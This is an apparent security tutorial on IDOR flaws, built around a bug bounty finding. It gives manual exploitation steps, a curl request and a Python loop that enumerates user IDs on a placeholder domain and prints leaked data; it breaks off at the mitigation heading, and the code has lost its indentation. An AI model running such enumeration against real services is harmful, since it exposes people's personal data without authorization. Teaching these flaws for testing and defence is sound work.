How to Exploit IDOR Vulnerabilities and Prevent PII Exposure

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Insecure Direct Object Reference (IDOR) vulnerabilities remain a critical threat in web security, often leading to unauthorized access to sensitive Personally Identifiable Information (PII). Security researcher Yusuf Nas recently uncovered an IDOR flaw that exposed PII, earning a $600 bounty. This article dives deep into IDOR exploitation, detection, and mitigation, with practical commands and code examples.

You Should Know: Exploiting IDOR Vulnerabilities

1. Understanding IDOR

IDOR occurs when an application exposes internal object references (e.g., database keys, filenames) without proper authorization checks. Attackers manipulate these references to access unauthorized data.

2. Manual Exploitation Steps

  • Step 1: Identify object references (e.g., /user/profile?id=123).
  • Step 2: Modify the parameter (e.g., id=124) to test access control.
  • Step 3: Use Burp Suite or browser dev tools to automate testing:
    Use curl to test IDOR 
    curl -X GET "https://example.com/api/user?id=124" -H "Authorization: Bearer <token>"
    

3. Automated Testing with Python

import requests

for user_id in range(100, 110): 
url = f"https://example.com/api/user?id={user_id}" 
response = requests.get(url, headers={"Authorization": "Bearer <token>"}) 
if response.status_code == 200: 
print(f"Data leaked for user ID: {user_id}") 
print(response.json()) 

4. Mitigation Techniques